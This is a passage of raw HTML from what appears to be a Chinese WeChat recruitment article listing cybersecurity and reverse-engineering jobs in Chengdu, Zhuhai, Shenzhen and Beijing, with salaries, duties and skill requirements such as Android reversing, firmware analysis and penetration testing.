left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">高级逆向开发工程师</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资面议</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：成都</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位职责：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.针对安全协议、加解密算法、签名机制及认证流程进行逆向；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.针对常见移动端安全加固进行绕过。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">任职要求：</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3年以上 Android逆向经验；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟练使用 Jadx,Jeb,Xposed,Ida,Frida 等逆向工具；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉网络通讯、代理机制，抓包、https、sslpinning、proxy机制；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉各种通用加解密算法，有脱壳、反混淆、反调试、反检测等对抗经验；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉Java/c/c++语言，smali,ARM汇编；能够静态动态分析调试app、sdk、so;</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">能分析ollvm后代码，了解vmp原理并具备分析能力者优先；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">可独立完成App逆向工作。</span></p></li></ul><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">公司福利：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.五险一金</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.法定节假日、带薪年假、病假、婚假、丧假、产假、陪产假等；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.妇女节、端午节、中秋节、春节等精美礼品；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.下午茶、团建、生日会、咖啡</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">*不考虑逆向开发方向或无逆向基础的同学，请勿打扰！</span></p></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;border-style: groove;border-width: 2px;border-color: rgb(39, 47, 223);overflow: hidden;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="296" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130974" src="https://wechat2rss.xlab.app/img-proxy/?k=8c927984&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K0vKuzsob2dCv8LFkUq3hpkAEsdCGtS7Vx8X7DIP5bIdgdzxiaFic2GARnTib5vAzXwkOoLV0JOjyfsIWU45DIP5A3iajBv9AqKCrU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">长按识别关于岗位详情及投递简历</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(246, 246, 246);border-radius: 7px;overflow: hidden;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-color: rgb(39, 47, 223);min-width: 5%;max-width: 100%;height: auto;padding: 3px 8px;border-top-left-radius: 7px;border-bottom-right-radius: 7px;overflow: hidden;margin: 0px;border-bottom-left-radius: 7px;box-sizing: border-box;"><div style="text-align: center;margin: 4px 0px;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">04</span></b></p></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 13px 0px 5px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">极海微电子股份有限公司</span></b></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">固件分析工程师</span></b></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：30k以上</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：珠海</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">工作经验：5-10年</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">学历要求：本科</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">工作职责：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">物联网设备安全研究，渗透测试，漏洞挖掘和漏洞利用，负责嵌入式软件分析。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">任职要求：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.熟悉二进制漏洞原理及利用方式，尤其是对嵌入式系统的安全问题有深刻理解；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.有一定的攻防、渗透、漏洞挖掘的经验；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.有固件重建和固件仿真经验者优先，如firmware-mod-kit和qemu等软件；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.熟练使用WinDBG、IDA Pro、OllyDBG、Binwalk等调试、逆向工具；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5.熟悉ARM架构，有较强的动手能力，有物联网设备调试接口和固件提取经验优先；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">6.智能硬件破解大赛获奖或者发言的优先；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">7.信息安全/计算机科学与技术专业/软件工程等软件相关专业优先考虑。</span></p></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;border-style: groove;border-width: 2px;border-color: rgb(39, 47, 223);overflow: hidden;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130972" src="https://wechat2rss.xlab.app/img-proxy/?k=4a76103c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K1HyqEGNh80IGOxfLXnOwRFEhOHlmnoZqbNGyTkQf8wZufroI9S5xzypesMiah4huQY6x8RZKbvODkI5yI2LCUz5y60lxSX73Mk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">长按识别关于岗位详情及投递简历</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(39, 47, 223);border-radius: 100%;overflow: hidden;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 11px;line-height: 1.3;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">♥</span></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(246, 246, 246);border-radius: 7px;overflow: hidden;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-color: rgb(39, 47, 223);min-width: 5%;max-width: 100%;height: auto;padding: 3px 8px;border-top-left-radius: 7px;border-bottom-right-radius: 7px;overflow: hidden;margin: 0px;border-bottom-left-radius: 7px;box-sizing: border-box;"><div style="text-align: center;margin: 4px 0px;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">05</span></b></p></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 13px 0px 5px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">深圳软牛科技集团股份有限公司</span></b></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">高级逆向开发工程师</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资面议</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：深圳</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">工作经验：3-5年</span></b></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">学历要求：本科</span></b></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">【岗位职责】</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.主要从事win和mac平台上的功能开发；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.负责公司数据类/音视频相关产品的功能软件框架设计、编码实现；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.负责产品相关的功能需求评估、可行性分析，技术难点预研；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.负责项目推进把控，协调分配开发任务，针对对市场反馈进行软件策略调整；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">【任职要求】</span></strong></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">本科及以上学历，3-5年PC端逆向开发工作经验；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟练掌握C++底层原理，熟悉Win32 API、STL的操作使用；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉反编译、反汇编以及各类逆向工具软件的使用，熟悉常见x86、arm汇编指令、常见的反调试技术、加壳脱壳原理，对软件逆向有相应研究；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">有较强的探索钻研精神，对逆向有强烈兴趣，解决问题思路灵活。</span></p></li></ul></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">逆向开发工程师</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资面议</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：成都</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">工作经验：应届毕业生</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">学历要求：本科</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">【岗位职责】</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.主要从事win和mac平台上的产品功能逆向开发；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.负责数据类\多媒体类相关产品的功能编码实现与维护工作；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.负责数据类\多媒体类产品相关的技术攻关工作，并开发实现对应产品功能。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">【任职要求】</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">本科及以上学历，2026届计算机相关专业优先；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉反编译、反汇编以及各类逆向工具软件的使用，熟悉常见x86、arm汇编指令、常见的反调试技术、加壳脱壳原理，有实操经验优先；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">C++基础扎实、理解C++原理，熟悉Win32 API、STL的基本使用；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉Windows消息机制，数据库编程，网络编程、熟悉常用算法；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">有较强的探索钻研精神，对逆向有强烈兴趣，解决问题思路灵活。</span></p></li></ul></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;border-style: groove;border-width: 2px;border-color: rgb(39, 47, 223);overflow: hidden;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130980" src="https://wechat2rss.xlab.app/img-proxy/?k=2d323718&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K1BLCXKNSRnzFFHNWyIFmZT0XSTNEVWFHbVQGEvyHKnah07dMCccJuFTg6AkyAhGsKibTJOZBX3awV6yicVTdOoxIhDjibic79xc4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">长按识别关于岗位详情及投递简历</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(39, 47, 223);border-radius: 100%;overflow: hidden;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 11px;line-height: 1.3;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">♥</span></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(246, 246, 246);border-radius: 7px;overflow: hidden;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-color: rgb(39, 47, 223);min-width: 5%;max-width: 100%;height: auto;padding: 3px 8px;border-top-left-radius: 7px;border-bottom-right-radius: 7px;overflow: hidden;margin: 0px;border-bottom-left-radius: 7px;box-sizing: border-box;"><div style="text-align: center;margin: 4px 0px;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">06</span></b></p></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 13px 0px 5px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">北京数戎星河科技有限公司</span></b></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">安全研究/渗透/漏挖</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：30k以上</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：北京</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位要求:</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">高级渗透负责人：3人，应届实习生10人。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.跟踪研究APT组织技战法包括但不限于边界突破、横向移动、数据回传等，依据TTPs做组织归因。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.聚焦WEB安全研究、移动端安全研究、云安全研究、供应链安全研究、边界硬件设备安全研究、漏洞挖掘、逆向研究等。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.具备丰富实战经验优先。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">以上3点符合其中一条即可。</span></p></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">网络攻防研究合伙人</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：30k以上</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">主要职责:</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">负责网络攻防实战技术研究：系统化跟踪研究网络安全攻防技术，孵化各类安全产品落地。我们需要自驱型高效学习能力、对技术保持热忱的合伙人，不招牛马！！！</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">学历要求：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2025或2026届应届硕士毕业生，或在读。C9、985、211优先。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">专业背景：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">计算机科学、网络安全、网络工程、人工智能等相关专业硕士及以上学历（能力突出者可放宽至本科）。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">工作地点：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">北京/广州/上海/深圳/杭州/武汉/南京/合肥（需全职实习，支持异地转岗），部分地区提供免费住宿。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">技术能力：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span 